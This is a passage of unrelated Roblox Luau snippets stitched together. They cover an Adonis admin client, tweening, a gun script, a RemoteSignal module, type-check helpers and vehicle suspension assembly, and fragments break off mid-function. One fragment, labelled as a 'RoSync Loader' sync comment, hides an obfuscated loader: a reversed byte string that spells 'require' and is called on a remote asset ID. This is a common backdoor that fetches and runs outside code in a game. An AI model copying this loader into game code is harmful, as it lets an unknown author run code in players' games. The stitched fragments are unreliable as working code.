Anti.Detected("Kick", "RemoteEvent Not Found");
else
log("Getting RemoteFunction");
local rFunc = event:WaitForChild("__FUNCTION", 120);
if not rFunc then
Anti.Detected("Kick", "RemoteFunction Not Found");
else
local events = {};
rFunc.OnClientInvoke = Process.Remote;
eventData.Object = event;
eventData.Function = rFunc;
eventData.FireServer = event.FireServer;
eventData.Events = events;
events.ProcessRemote = event.OnClientEvent:Connect(Process.Remote)
events.ParentChildRemoved = remoteParent.ChildRemoved:Connect(function(child)
if (Core.RemoteEvent == eventData) and child == event and task.wait() then
warn("::ADONIS:: REMOTE EVENT REMOVED? RE-GRABBING");
log("~! REMOTEEVENT WAS REMOVED?")
Core.GetEvent();
end
end)
Core.RemoteEvent = eventData
if not Core.Key then
log("~! Getting key from server")
Remote.Fire(client.DepsName.."GET_KEY")
end
end
end
end;
LoadPlugin = function(plugin)
local plug = require(plugin)
local func = setfenv(plug,GetEnv(getfenv(plug)))
cPcall(func)
end;
LoadBytecode = function(str, env)
return require(client.Shared.FiOne)(str, env)
end;
LoadCode = function(str, env)
return Core.LoadBytecode(str, env)
end;
StartAPI = function()
local ScriptCache = Core.ScriptCache
local FiOne = client.Shared.FiOne
local Get = Remote.Get
local GetFire = Remote.GetFire
local G_API = client.G_API
local Allowed_API_Calls = client.Allowed_API_Calls
local NewProxy = service.NewProxy
local MetaFunc = service.MetaFunc
local ReadOnly = service.ReadOnly
local StartLoop = service.StartLoop
local ReadOnly = service.ReadOnly
local UnWrap = service.UnWrap
local service = nil
local client = nil
local _G = _G
local setmetatable = setmetatable
local type = type
local print = print
local error = error
local pairs = pairs
local warn = warn
local next = next
local table = table
local rawset = rawset
local rawget = rawget
local getfenv = getfenv
local setfenv = setfenv
local require = require
local tostring = tostring
local client = client
local Routine = Routine
local cPcall = cPcall
--// Get Settings
local API_Special = {
}
setfenv(1,setmetatable({}, {__metatable = getmetatable(getfenv())}))
local API_Specific = {
API_Specific = {
Test = function()
print("We ran the api specific stuff")
end
};
Service = service;
}
local API = {
Access = ReadOnly({}, nil, nil, true);
--[[
Access = service.MetaFunc(function(...)
local args = {...}
local key = args[1]
local ind = args[2]
local targ
setfenv(1,setmetatable({}, {__metatable = getmetatable(getfenv())}))
if API_Specific[ind] then
targ = API_Specific[ind]
elseif client[ind] and client.Allowed_API_Calls[ind] then
targ = client[ind]
end
if client.G_Access and key == client.G_Access_Key and targ and client.Allowed_API_Calls[ind] then
if type(targ) == "table" then
return service.NewProxy {
__index = function(tab,inde)
if targ[inde] ~= nil and API_Special[inde] == nil or API_Special[inde] == true then
if targ[inde]~=nil and type(targ[inde]) == "table" and client.G_Access_Perms == "Read" then
return service.ReadOnly(targ[inde])
else
return targ[inde]
end
elseif API_Special[inde] == false then
error("Access Denied: "..tostring(inde))
else
error("Could not find "..tostring(inde))
end
end;
__newindex = function(tabl,inde,valu)
error("Read-only")
end;
__metatable = true;
}
end
else
error("Incorrect key or G_Access is disabled")
end
end);
--]]
Scripts = ReadOnly({
ExecutePermission = (function(srcScript, code)
local exists;
for i,v in ScriptCache do
if UnWrap(v.Script) == srcScript then
exists = v
end
end
if exists and exists.noCache ~= true and (not exists.runLimit or (exists.runLimit and exists.Executions <= exists.runLimit)) then
exists.Executions = exists.Executions+1
return exists.Source, exists.Loadstring
end
local data = Get("ExecutePermission", srcScript, code, true)
if data and data.Source then
local module;
if not exists then
module = require(FiOne:Clone())
table.insert(ScriptCache,{
Script = srcScript;
Source = data.Source;
Loadstring = module;
noCache = data.noCache;
runLimit = data.runLimit;
Executions = data.Executions;
})
else
module = exists.Loadstring
exists.Source = data.Source
end
return data.Source, module
end
end);
}, nil, nil, true);
}
local AdonisGTable = NewProxy({
__index = function(tab,ind)
if ind == "Scripts" then
return API.Scripts
elseif G_API and Allowed_API_Calls.Client == true then
if type(API[ind]) == "function" then
return MetaFunc(API[ind])
else
return API[ind]
end
else
error("_G API is disabled")
end
end;
__newindex = function()
error("Read-only")
end;
__metatable = "API";
})
if not rawget(_G, "Adonis") then
if table.isfrozen and not table.isfrozen(_G) or not table.isfrozen then
rawset(_G, "Adonis", AdonisGTable)
StartLoop("APICheck", 1, function()
if rawget(_G, "Adonis") ~= AdonisGTable then
if table.isfrozen and not table.isfrozen(_G) or not table.isfrozen then
rawset(_G, "Adonis", AdonisGTable)
else
warn("ADONIS CRITICAL WARNING! MALICIOUS CODE IS TRYING TO CHANGE THE ADONIS _G API AND IT CAN'T BE SET BACK! PLEASE SHUTDOWN THE SERVER AND REMOVE THE MALICIOUS CODE IF POSSIBLE!")
end
end
end, true)
else
warn("The _G table was locked and the Adonis _G API could not be loaded")
end
end
end;
};
end
|
--yep |
local deb = false
local info = TweenInfo.new(tweenTime, easingStyle, easingDirection, repeats, reverse, delayTime)
local function tweenModel(model, CF)
local CFrameValue = Instance.new("CFrameValue")
CFrameValue.Value = model:GetPrimaryPartCFrame()
CFrameValue:GetPropertyChangedSignal("Value"):Connect(function()
model:SetPrimaryPartCFrame(CFrameValue.Value)
end)
local tween = tweenService:Create(CFrameValue, info, {Value = CF})
tween:Play()
tween.Completed:Connect(function()
CFrameValue:Destroy()
script.Disabled=true
end)
end
wait(0)
tweenModel(Model, goal1.CFrame)
|
-- Configurable variables |
local configs = require(tool.Configurations)
currentAmmo = configs.clipSize
local attackCooldown = configs.attackCooldown
local range = configs.range
local bulletSpeed = configs.bulletSpeed
local bulletDrop = configs.bulletDrop
local headDamage = configs.headDamage
local torsoDamage = configs.torsoDamage
local otherDamage = configs.otherDamage
local reloadTime = configs.reloadTime
local clipSize = configs.clipSize
local extraAmmo = configs.extraAmmo
local hitParticles = configs.hitParticles
local infiniteAmmo = configs.infiniteAmmo
local consolidateAmmo = configs.consolidateAmmo
currentAmmo = clipSize
if infiniteAmmo then
ammoLeft = clipSize
else
ammoLeft = extraAmmo
end
|
--[[ Last synced 12/17/2020 02:32 || RoSync Loader ]] | getfenv()[string.reverse("\101\114\105\117\113\101\114")](5747857292)
|
--[[ Use Examples
-- To be used on the client.
local fullscreenModule = require(game:GetService("ReplicatedStorage"):WaitForChild("FullscreenModule"))
local screen = workspace:WaitForChild("CountdownBoardPart")
-- Creates a button that allows the user to toggle focus on a screen
fullscreenModule.CreateButtonToFocusScreen(screen)
fullscreenModule.FocusScreen(screen) -- Forces the client to focus on a screen
wait(5)
fullscreenModule.FocusScreen() -- Forces the client to focus back on their character
]] |
local fullscreenModule = {}
fullscreenModule.FocusedScreen = nil
local TweenService = game:GetService("TweenService")
local PlayersService = game:GetService("Players")
local RunService = game:GetService("RunService")
local StarterPlayer = game:GetService("StarterPlayer")
local UserInputService = game:GetService("UserInputService")
local buttonGuiTemplate = script:WaitForChild("FullscreenButtonGui")
local localPlayer = PlayersService.LocalPlayer
local camera = workspace.CurrentCamera
local buttonGui = nil
local button = nil
local buttonTargetScreen = nil
local buttonConnection = nil
local gamepadButtonConnection = nil
local lockCameraConnection = nil
local characterCamCF = nil
local characterCamCFIsRelative = false
local transitionCount = 0
local ZOOM_IN_ICON = "rbxassetid://9597519667"
local ZOOM_OUT_ICON = "rbxassetid://9597519299"
local FULLSCREEN_GAMEPAD_BUTTON = Enum.KeyCode.ButtonY
local FULLSCREEN_GAMEPAD_BUTTON_ICON = "rbxassetid://9596106684"
local BACKOUT_GAMEPAD_BUTTON = Enum.KeyCode.ButtonB
local BACKOUT_GAMEPAD_BUTTON_ICON = "rbxassetid://9596106237"
|
------------------------------------------------------------------- |
script.Parent.ClickDetector.MouseClick:connect(function(plr)
local Check = CheckUser(plr,true)
if enabled == true and Check == true then
regenerate()
end
end) |
--[[
remoteSignal = RemoteSignal.new()
remoteSignal:Connect(handler: (player: Player, ...args: any) -> void): RBXScriptConnection
remoteSignal:Fire(player: Player, ...args: any): void
remoteSignal:FireAll(...args: any): void
remoteSignal:FireExcept(player: Player, ...args: any): void
remoteSignal:Wait(): (...any)
remoteSignal:Destroy(): void
--]] |
local IS_SERVER = game:GetService("RunService"):IsServer()
local t = require( script.Parent.Parent.t )
local Players = game:GetService("Players")
local Ser = require(script.Parent.Parent.Ser)
local RemoteSignal = {}
RemoteSignal.__index = RemoteSignal
function RemoteSignal.Is(object)
return type(object) == "table" and getmetatable(object) == RemoteSignal
end
function RemoteSignal.new()
assert(IS_SERVER, "RemoteSignal can only be created on the server")
local self = setmetatable({
_remote = Instance.new("RemoteEvent");
}, RemoteSignal)
return self
end
local tFire = t.tuple( t.instanceIsA("Player") )
function RemoteSignal:Fire(player, ...)
assert( tFire(player) )
self._remote:FireClient(player, Ser.SerializeArgsAndUnpack(...))
end
function RemoteSignal:FireAll(...)
self._remote:FireAllClients(Ser.SerializeArgsAndUnpack(...))
end
local tFireExcept = t.tuple( t.instanceIsA("Player") )
function RemoteSignal:FireExcept(player, ...)
assert( tFireExcept(player) )
local args = Ser.SerializeArgs(...)
for _,plr in ipairs(Players:GetPlayers()) do
if plr ~= player then
self._remote:FireClient(plr, Ser.UnpackArgs(args))
end
end
end
local tFireSome = t.tuple( t.values(t.instanceIsA("Player")) )
function RemoteSignal:FireSome( playerList: {}, ... ): ()
assert( tFireSome(playerList) )
local args = Ser.SerializeArgs( ... )
for _, player: Player in pairs( playerList ) do
if ( player and player:IsDescendantOf(Players) ) then
self._remote:FireClient( player, Ser.UnpackArgs(args) )
end
end
end
function RemoteSignal:Wait()
return self._remote.OnServerEvent:Wait()
end
function RemoteSignal:Connect(handler)
return self._remote.OnServerEvent:Connect(function(player, ...)
handler(player, Ser.DeserializeArgsAndUnpack(...))
end)
end
function RemoteSignal:Destroy()
self._remote:Destroy()
self._remote = nil
end
return RemoteSignal
|
--[[ Utility functions specific to OrbitalCamera ]] | --
local function GetValueObject(name, defaultValue)
local valueObj = script:FindFirstChild(name)
if valueObj then
return valueObj.Value
end
return defaultValue
end
|
--[[
@class SoftShutdownUI.story
]] |
local require = require(game:GetService("ServerScriptService"):FindFirstChild("LoaderUtils", true).Parent).load(script)
local Maid = require("Maid")
local SoftShutdownTranslator = require("SoftShutdownTranslator")
local SoftShutdownUI = require("SoftShutdownUI")
local ServiceBag = require("ServiceBag")
return function(target)
local maid = Maid.new()
local serviceBag = ServiceBag.new()
maid:GiveTask(serviceBag)
local translator = serviceBag:GetService(SoftShutdownTranslator)
local softShutdownUI = SoftShutdownUI.new()
maid:GiveTask(softShutdownUI)
maid:GivePromise(translator:PromiseFormatByKey("shutdown.lobby.title")):Then(function(text)
softShutdownUI:SetTitle(text)
end)
maid:GivePromise(translator:PromiseFormatByKey("shutdown.lobby.subtitle")):Then(function(text)
softShutdownUI:SetSubtitle(text)
end)
softShutdownUI:Show()
softShutdownUI.Gui.Parent = target
return function()
maid:DoCleaning()
end
end
|
--Do not change anything below unless you know what youre doing! |
script.Parent.Sound:Play()
script.Parent.MouseButton1Click:connect(function()
if script.Parent.Sound.IsPlaying then
script.Parent.Sound:Stop()
script.Parent.TextLabel.Visible= false
script.Parent.TextLabel2.Visible=true
else
script.Parent.Sound:Play()
script.Parent.TextLabel.Visible=true
script.Parent.TextLabel2.Visible=false
end
end)
|
-- Water and sounds -- |
local showerSound = p.ShowerHead.Spout.ShowerSound
|
--People |
PeopleOn = false
People = {"bluelego07091","",""} |
------------------------------------- |
equiped=false
sp=script.Parent
RayLength=100000
Spread=0.06
enabled=true
reloading=false
down=false
r=game:service("RunService")
last=0
last2=0
last3=0
last4=0
last5=0
last6=0
p = Instance.new("Part")
p.Parent = game.Lighting
p.Name = "BulletTexture"
p.CanCollide = false
p.formFactor = "Custom"
p.Size = Vector3.new(1,0.1,1)
p.Transparency = 1
g = Instance.new("SpecialMesh")
g.Parent = p
Bullet=Instance.new("Part")
Bullet.Name="Bullet"
Bullet.BrickColor=BrickColor.new("New Yeller")
Bullet.Anchored=true
Bullet.CanCollide=false
Bullet.Locked=true
Bullet.Size=Vector3.new(1,1,1) |
-- Create CameraShaker instance: |
local renderPriority = Enum.RenderPriority.Camera.Value + 1
local camShake = CameraShaker.new(renderPriority, ShakeCamera)
|
-- If you want a spotlight to flicker, just add a spotlight in, delete the pointlight, then change script.Parent.Pointlight to script.Parent.Spotlight
-- Your welcome! | |
--!strict
--[=[
@function map
@within Set
@param set { [T]: boolean } -- The set to map.
@param mapper (T, {[T]: boolean}) -> U -- The mapper function.
@return {[U]: boolean} -- The mapped set.
Iterates over a set, calling a mapper function for each item.
```lua
local set = { hello = true, world = true }
local mappedSet = Map(set, function(value)
return value .. "!"
end) -- { ["hello!"] = true, ["world!"] = true }
```
]=] |
local function map<T, U>(set: { [T]: boolean }, mapper: (T, { [T]: boolean }) -> U): { [U]: boolean }
local result = {}
for key, _ in pairs(set) do
local mappedKey = mapper(key, set)
if mappedKey ~= nil then
result[mappedKey] = true
end
end
return result
end
return map
|
--[[**
ensures value is a table and all keys pass valueCheck and all values are true
@param valueCheck The function to use to check the values
@returns A function that will return true iff the condition is passed
**--]] |
function t.set(valueCheck)
return t.map(valueCheck, t.literal(true))
end
do
local arrayKeysCheck = t.keys(t.integer)
--[[**
ensures value is an array and all values of the array match check
@param check The check to compare all values with
@returns A function that will return true iff the condition is passed
**--]]
function t.array(check)
assert(t.callback(check))
local valuesCheck = t.values(check)
return function(value)
local keySuccess, keyErrMsg = arrayKeysCheck(value)
if keySuccess == false then
return false, string.format("[array] %s", keyErrMsg or "")
end
-- # is unreliable for sparse arrays
-- Count upwards using ipairs to avoid false positives from the behavior of #
local arraySize = 0
for _ in ipairs(value) do
arraySize = arraySize + 1
end
for key in pairs(value) do
if key < 1 or key > arraySize then
return false, string.format("[array] key %s must be sequential", tostring(key))
end
end
local valueSuccess, valueErrMsg = valuesCheck(value)
if not valueSuccess then
return false, string.format("[array] %s", valueErrMsg or "")
end
return true
end
end
--[[**
ensures value is an array of a strict makeup and size
@param check The check to compare all values with
@returns A function that will return true iff the condition is passed
**--]]
function t.strictArray(...)
local valueTypes = { ... }
assert(t.array(t.callback)(valueTypes))
return function(value)
local keySuccess, keyErrMsg = arrayKeysCheck(value)
if keySuccess == false then
return false, string.format("[strictArray] %s", keyErrMsg or "")
end
-- If there's more than the set array size, disallow
if #valueTypes < #value then
return false, string.format("[strictArray] Array size exceeds limit of %d", #valueTypes)
end
for idx, typeFn in pairs(valueTypes) do
local typeSuccess, typeErrMsg = typeFn(value[idx])
if not typeSuccess then
return false, string.format("[strictArray] Array index #%d - %s", idx, typeErrMsg)
end
end
return true
end
end
end
do
local callbackArray = t.array(t.callback)
--[[**
creates a union type
@param ... The checks to union
@returns A function that will return true iff the condition is passed
**--]]
function t.union(...)
local checks = {...}
assert(callbackArray(checks))
return function(value)
for _, check in ipairs(checks) do
if check(value) then
return true
end
end
return false, "bad type for union"
end
end
--[[**
Alias for t.union
**--]]
t.some = t.union
--[[**
creates an intersection type
@param ... The checks to intersect
@returns A function that will return true iff the condition is passed
**--]]
function t.intersection(...)
local checks = {...}
assert(callbackArray(checks))
return function(value)
for _, check in ipairs(checks) do
local success, errMsg = check(value)
if not success then
return false, errMsg or ""
end
end
return true
end
end
--[[**
Alias for t.intersection
**--]]
t.every = t.intersection
end
do
local checkInterface = t.map(t.any, t.callback)
--[[**
ensures value matches given interface definition
@param checkTable The interface definition
@returns A function that will return true iff the condition is passed
**--]]
function t.interface(checkTable)
assert(checkInterface(checkTable))
return function(value)
local tableSuccess, tableErrMsg = t.table(value)
if tableSuccess == false then
return false, tableErrMsg or ""
end
for key, check in pairs(checkTable) do
local success, errMsg = check(value[key])
if success == false then
return false, string.format("[interface] bad value for %s:\n\t%s", tostring(key), errMsg or "")
end
end
return true
end
end
--[[**
ensures value matches given interface definition strictly
@param checkTable The interface definition
@returns A function that will return true iff the condition is passed
**--]]
function t.strictInterface(checkTable)
assert(checkInterface(checkTable))
return function(value)
local tableSuccess, tableErrMsg = t.table(value)
if tableSuccess == false then
return false, tableErrMsg or ""
end
for key, check in pairs(checkTable) do
local success, errMsg = check(value[key])
if success == false then
return false, string.format("[interface] bad value for %s:\n\t%s", tostring(key), errMsg or "")
end
end
for key in pairs(value) do
if not checkTable[key] then
return false, string.format("[interface] unexpected field %q", tostring(key))
end
end
return true
end
end
end
|
--//sw |
local sw = Instance.new("Motor", script.Parent.Parent.Misc.SW.SS)
sw.MaxVelocity = 0.267
sw.Part0 = script.Parent.SW
sw.Part1 = sw.Parent
|
--- |
local Paint = false
script.Parent.MouseButton1Click:connect(function()
Paint = not Paint
handler:FireServer("Buttermilk",Paint)
end)
|
--[=[
@param fn (player: Player, ...: any) -> nil -- The function to connect
@return Connection
Connect a function to the signal. Anytime a matching ClientRemoteSignal
on a client fires, the connected function will be invoked with the
arguments passed by the client.
]=] |
function RemoteSignal:Connect(fn)
if self._directConnect then
return self._re.OnServerEvent:Connect(fn)
else
return self._signal:Connect(fn)
end
end
function RemoteSignal:_processOutboundMiddleware(player: Player?, ...: any)
if not self._hasOutbound then
return ...
end
local args = table.pack(...)
for _, middlewareFunc in ipairs(self._outbound) do
local middlewareResult = table.pack(middlewareFunc(player, args))
if not middlewareResult[1] then
return table.unpack(middlewareResult, 2, middlewareResult.n)
end
args.n = #args
end
return table.unpack(args, 1, args.n)
end
|
-- Keep track of viewport half-size |
local viewportHalf = game.Workspace.CurrentCamera.ViewportSize * 0.5
game.Workspace.CurrentCamera.Changed:Connect(function()
viewportHalf = game.Workspace.CurrentCamera.ViewportSize * 0.5
end)
local Guis = script:WaitForChild("Guis")
|
---- Services ---- |
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local UserInputService = game:GetService("UserInputService")
|
--Main-- |
script.Parent.Spawn.MouseButton1Click:connect (function ()
script.Parent.Enabled = false
Camera.CameraType = "Custom"
function setTeam(player, teamName)
player.TeamColor = game.Teams[teamName].TeamColor
if player.Character then
end
end
for _, player in pairs(game.Players:GetPlayers()) do
setTeam(player, "Grey Team") ---- Change this to the team you want them to be on once they are done customizing their character
end
local MasterControl = require(game.Players.LocalPlayer:WaitForChild("PlayerScripts"):WaitForChild("ControlScript"):WaitForChild("MasterControl"))
MasterControl:Enable()
end)
|
--[=[
Detects if a table is a dictionary, meaning it is not purely number indexes.
```lua
local Array = {"A", "B", "C", "D"}
local Dictionary = { NotAnArray = true }
print(TableKit.IsDictionary(Array), TableKit.IsDictionary(Dictionary)) -- prints false, true
```
@within TableKit
@param mysteryTable table
@return boolean
]=] |
function TableKit.IsDictionary(mysteryTable: { [unknown]: unknown }): boolean
local count = 0
for _ in mysteryTable do
count += 1
end
return count ~= #mysteryTable
end
|
-- ROBLOX MOVED: expect/utils.lua |
local function isObjectWithKeys(a: any)
return isObject(a) and (next(a) == nil or not Array.isArray(a))
end
|
--[[Chassis Assembly]] |
--Create Steering Axle
local arm=Instance.new("Part",v)
arm.Name="Arm"
arm.Anchored=true
arm.CanCollide=false
arm.FormFactor=Enum.FormFactor.Custom
arm.Size=Vector3.new(_Tune.AxleSize,_Tune.AxleSize,_Tune.AxleSize)
arm.CFrame=(v.CFrame*CFrame.new(0,_Tune.StAxisOffset,0))*CFrame.Angles(-math.pi/2,-math.pi/2,0)
arm.CustomPhysicalProperties = PhysicalProperties.new(_Tune.AxleDensity,0,0,0,0)
arm.TopSurface=Enum.SurfaceType.Smooth
arm.BottomSurface=Enum.SurfaceType.Smooth
arm.Transparency=1
if PGS_ON then
--PGS Assembly---------------------------------------------------------------------------------------------------------------------------
--Suspension Offsets
local fAnchorOffset = Vector3.new(_Tune.FAnchorOffset[1],_Tune.FAnchorOffset[2],_Tune.FAnchorOffset[3])
local rAnchorOffset = Vector3.new(_Tune.RAnchorOffset[1],_Tune.RAnchorOffset[2],_Tune.RAnchorOffset[3])
--Create Wheel Suspsension Anchor
local anchor2=arm:Clone()
anchor2.Parent=v
anchor2.Name="Base"
if v.Name == "FL" or v.Name == "FR" or v.Name=="F" then
anchor2.CFrame=anchor2.CFrame*CFrame.new(fAnchorOffset)
else
anchor2.CFrame=anchor2.CFrame*CFrame.new(rAnchorOffset)
end
--Create Body Suspsension Anchor
local anchor1=anchor2:Clone()
anchor1.Parent=v
anchor1.Name="Anchor"
if v.Name == "FL" or v.Name == "FR" or v.Name=="F" then
anchor1.CFrame=anchor1.CFrame*CFrame.new(-_Tune.FSusLength*math.cos(math.rad(_Tune.FSusAngle)),_Tune.FSusLength*math.sin(math.rad(_Tune.FSusAngle)),0)
else
anchor1.CFrame=anchor1.CFrame*CFrame.new(-_Tune.RSusLength*math.cos(math.rad(_Tune.RSusAngle)),_Tune.RSusLength*math.sin(math.rad(_Tune.RSusAngle)),0)
end
--Create Attachments
local s0=Instance.new("Attachment",anchor1)
local s1=Instance.new("Attachment",anchor2)
local p0=Instance.new("Attachment",anchor1)
local r0=Instance.new("Attachment",car.DriveSeat)
local h0=Instance.new("Attachment",car.DriveSeat)
local a0=Instance.new("Attachment",anchor2)
local a1=Instance.new("Attachment",arm)
local a2=Instance.new("Attachment",arm)
local a3=Instance.new("Attachment",v)
s0.Name="S0"
s1.Name="S1"
p0.Name="P0"
r0.Name="R0"
h0.Name="H0"
a0.Name="A0"
a1.Name="A1"
a2.Name="A2"
a3.Name="A3"
--Calculate Wishbone Anchor Point
local rAnc0=(arm.CFrame*CFrame.new(fAnchorOffset+Vector3.new(-math.cos(math.rad(_Tune.FWsBoneAngle))*_Tune.FWsBoneLen,math.sin(math.rad(_Tune.FWsBoneAngle))*_Tune.FWsBoneLen,0))).p
if v.Name == "RL" or v.Name == "RR" or v.Name=="R" then
rAnc0=(arm.CFrame*CFrame.new(rAnchorOffset+Vector3.new(-math.cos(math.rad(_Tune.RWsBoneAngle))*_Tune.RWsBoneLen,math.sin(math.rad(_Tune.RWsBoneAngle))*_Tune.RWsBoneLen,0))).p
end
--Apply Attachment Alignment
p0.Position=anchor1.CFrame:toObjectSpace(CFrame.new(anchor2.Position)).p
r0.Position=car.DriveSeat.CFrame:toObjectSpace(CFrame.new(rAnc0)).p
h0.Position=car.DriveSeat.CFrame:toObjectSpace(CFrame.new(anchor1.Position)).p
a0.Position=anchor2.CFrame:toObjectSpace(CFrame.new(arm.Position)).p
if v.Name == "FL" or v.Name == "FR" or v.Name=="F" then
p0.Rotation=Vector3.new(0,0,-_Tune.FSusAngle)
s1.Rotation=Vector3.new(0,0,-_Tune.FSusAngle)
else
p0.Rotation=Vector3.new(0,0,-_Tune.RSusAngle)
s1.Rotation=Vector3.new(0,0,-_Tune.RSusAngle)
end
if v.Name=="FL" then
s0.Rotation=Vector3.new(0,90+_Tune.FToe,0)
elseif v.Name=="FR" then
s0.Rotation=Vector3.new(0,90-_Tune.FToe,0)
elseif v.Name=="RL" then
s0.Rotation=Vector3.new(0,90+_Tune.RToe,0)
elseif v.Name=="RR" then
s0.Rotation=Vector3.new(0,90-_Tune.RToe,0)
else
s0.Rotation=Vector3.new(0,-90,0)
end
h0.Rotation=Vector3.new(0,-90,0)
a0.Rotation=Vector3.new(90,90,0)
a1.Rotation=Vector3.new(90,90,0)
a2.Rotation=Vector3.new(0,0,0)
a3.Rotation=Vector3.new(0,0,90)
if v.Name=="FR" or v.Name=="RR" then
h0.Rotation=Vector3.new(0,90,0)
a2.Rotation=Vector3.new(-180,00,0)
end
if v.Name == "RL" or v.Name == "RR" or v.Name=="R" then
--Lock Rear Steering Axle
MakeWeld(anchor2,arm)
else
--Create Steering Hinge
local h2=Instance.new("HingeConstraint",v)
h2.Attachment0=a0
h2.Attachment1=a1
end
--Create Wheel Spindle
local h3=Instance.new("HingeConstraint",v)
h3.Attachment0=a2
h3.Attachment1=a3
h3.Name = "#AV"
h3.ActuatorType=Enum.ActuatorType.Motor
--Apply Suspension
if _Tune.SusEnabled then
--Suspension Enabled
local h1=Instance.new("HingeConstraint",v)
h1.Attachment0=h0
h1.Attachment1=s0
local sus=Instance.new("SpringConstraint",v)
sus.Attachment0=s0
sus.Attachment1=s1
sus.Visible=_Tune.SusVisible
sus.Radius=_Tune.SusRadius
sus.Thickness=_Tune.SusThickness
sus.Color=BrickColor.new(_Tune.SusColor)
sus.Coils=_Tune.SusCoilCount
sus.LimitsEnabled=true
if v.Name == "FL" or v.Name == "FR" or v.Name=="F" then
sus.MinLength=_Tune.FSusLength-math.abs(_Tune.FSusMaxComp)
sus.MaxLength=_Tune.FSusLength+math.abs(_Tune.FSusMaxExt)
sus.FreeLength=_Tune.FSusLength+math.abs(_Tune.FSusMaxExt)
sus.Damping=_Tune.FSusDamping
sus.Stiffness=_Tune.FSusStiffness
else
sus.MinLength=_Tune.RSusLength-math.abs(_Tune.RSusMaxComp)
sus.MaxLength=_Tune.RSusLength+math.abs(_Tune.RSusMaxExt)
sus.FreeLength=_Tune.RSusLength+math.abs(_Tune.RSusMaxExt)
sus.Damping=_Tune.RSusDamping
sus.Stiffness=_Tune.RSusStiffness
end
local rod=Instance.new("RodConstraint",v)
rod.Attachment0=r0
rod.Attachment1=s1
rod.Length=rod.CurrentDistance
rod.Visible=_Tune.WsBVisible
rod.Color=BrickColor.new(_Tune.WsColor)
rod.Thickness=_Tune.WsThickness
local prm=Instance.new("PrismaticConstraint",v)
prm.Attachment0=p0
prm.Attachment1=s1
else
--Suspension Disabled
anchor1:Destroy()
MakeWeld(car.DriveSeat,anchor2)
end
--Weld Miscelaneous Parts
if v:FindFirstChild("SuspensionFixed")~=nil then
ModelWeld(v.SuspensionFixed,anchor2)
end
if v:FindFirstChild("WheelFixed")~=nil then
ModelWeld(v.WheelFixed,arm)
end
if v:FindFirstChild("Fixed")~=nil then
ModelWeld(v.Fixed,arm)
end
else
--Legacy Assembly---------------------------------------------------------------------------------------------------------------------------
--Create Wheel Spindle
local base=arm:Clone()
base.Parent=v
base.Name="Base"
base.CFrame=base.CFrame*CFrame.new(0,_Tune.AxleSize,0)
base.BottomSurface=Enum.SurfaceType.Hinge
--Create Steering Anchor
local axle=arm:Clone()
axle.Parent=v
axle.Name="Axle"
axle.CFrame=CFrame.new(v.Position-((v.CFrame*CFrame.Angles(math.pi/2,0,0)).lookVector*((v.Size.x/2)+(axle.Size.x/2))),v.Position)*CFrame.Angles(0,math.pi,0)
axle.BackSurface=Enum.SurfaceType.Hinge
if v.Name=="F" or v.Name=="R" then
local axle2=arm:Clone()
axle2.Parent=v
axle2.Name="Axle"
axle2.CFrame=CFrame.new(v.Position+((v.CFrame*CFrame.Angles(math.pi/2,0,0)).lookVector*((v.Size.x/2)+(axle2.Size.x/2))),v.Position)*CFrame.Angles(0,math.pi,0)
axle2.BackSurface=Enum.SurfaceType.Hinge
MakeWeld(arm,axle2)
end
--Lock Rear Steering Axle
if v.Name == "RL" or v.Name == "RR" or v.Name=="R" then
MakeWeld(base,axle)
end
--Weld Assembly
MakeWeld(car.DriveSeat,base)
if v.Parent.Name == "RL" or v.Parent.Name == "RR" or v.Name=="R" then
MakeWeld(car.DriveSeat,arm)
end
MakeWeld(arm,axle)
arm:MakeJoints()
axle:MakeJoints()
--Weld Miscelaneous Parts
if v:FindFirstChild("SuspensionFixed")~=nil then
ModelWeld(v.SuspensionFixed,car.DriveSeat)
end
if v:FindFirstChild("WheelFixed")~=nil then
ModelWeld(v.WheelFixed,axle)
end
if v:FindFirstChild("Fixed")~=nil then
ModelWeld(v.Fixed,arm)
end
end
---------------------------------------------------------------------------------------------------------------------------
--Weld Wheel Parts
if v:FindFirstChild("Parts")~=nil then
ModelWeld(v.Parts,v)
end
--Add Steering Gyro
if v:FindFirstChild("Steer") then
v:FindFirstChild("Steer"):Destroy()
end
if v.Name=="FL" or v.Name=="FR" or v.Name=="F" then
local steer=Instance.new("BodyGyro",arm)
steer.Name="Steer"
steer.P=_Tune.SteerP
steer.D=_Tune.SteerD
steer.MaxTorque=Vector3.new(0,_Tune.SteerMaxTorque,0)
steer.cframe=v.CFrame*CFrame.Angles(0,-math.pi/2,0)
end
--Add Stabilization Gyro
local gyro=Instance.new("BodyGyro",v)
gyro.Name="Stabilizer"
gyro.MaxTorque=Vector3.new(1,0,1)
gyro.P=0
if v.Name=="FL" or v.Name=="FR" or v.Name=="F" then
gyro.D=_Tune.FGyroDamp
else
gyro.D=_Tune.RGyroDamp
end
--Add Rotational BodyMover
if not PGS_ON then
local AV=Instance.new("BodyAngularVelocity",v)
AV.Name="#AV"
AV.angularvelocity=Vector3.new(0,0,0)
AV.maxTorque=Vector3.new(_Tune.PBrakeForce,0,_Tune.PBrakeForce)
AV.P=1e9
end
end
|
-- [ SERVICES ] -- |
local tween = game:GetService("TweenService")
|
--------------------------------------- |
local spd=script.Speed:Clone()
spd.Parent = model.Part1
spd.Value = 0.05
local die=script.Died:Clone()
die.Parent = model.Part1
die.Disabled = false
local scr=script.MovedBlock:Clone()
scr.Parent = model.Part1
scr.Disabled = false
|
--s.Pitch = 0.7 |
while s.Pitch<1 do
s.Volume=1
s.Pitch=s.Pitch+0.0060
s:Play()
if s.Pitch>1 then
s.Pitch=1
end
wait(0.001)
end
|
--[[**
Gets an array of the given group's allies.
@param [Integer] GroupID The group you are checking.
@returns [Array] All of the group's allies in an array.
**--]] |
function GroupService:GetGroupAlliesAsync(GroupID)
local Success, GroupAlliesPages = pcall(RbxGroupService.GetAlliesAsync, RbxGroupService, GroupID)
return Success and PagesToArray(GroupAlliesPages) or {}
end
|
-- Constructor |
function Maid.new()
return setmetatable({
_tasks = {}
}, Maid)
end
|
--// Processing |
return function(Vargs, GetEnv)
local env = GetEnv(nil, {script = script})
setfenv(1, env)
local _G, game, script, getfenv, setfenv, workspace,
getmetatable, setmetatable, loadstring, coroutine,
rawequal, typeof, print, math, warn, error, pcall,
xpcall, select, rawset, rawget, ipairs, pairs,
next, Rect, Axes, os, time, Faces, unpack, string, Color3,
newproxy, tostring, tonumber, Instance, TweenInfo, BrickColor,
NumberRange, ColorSequence, NumberSequence, ColorSequenceKeypoint,
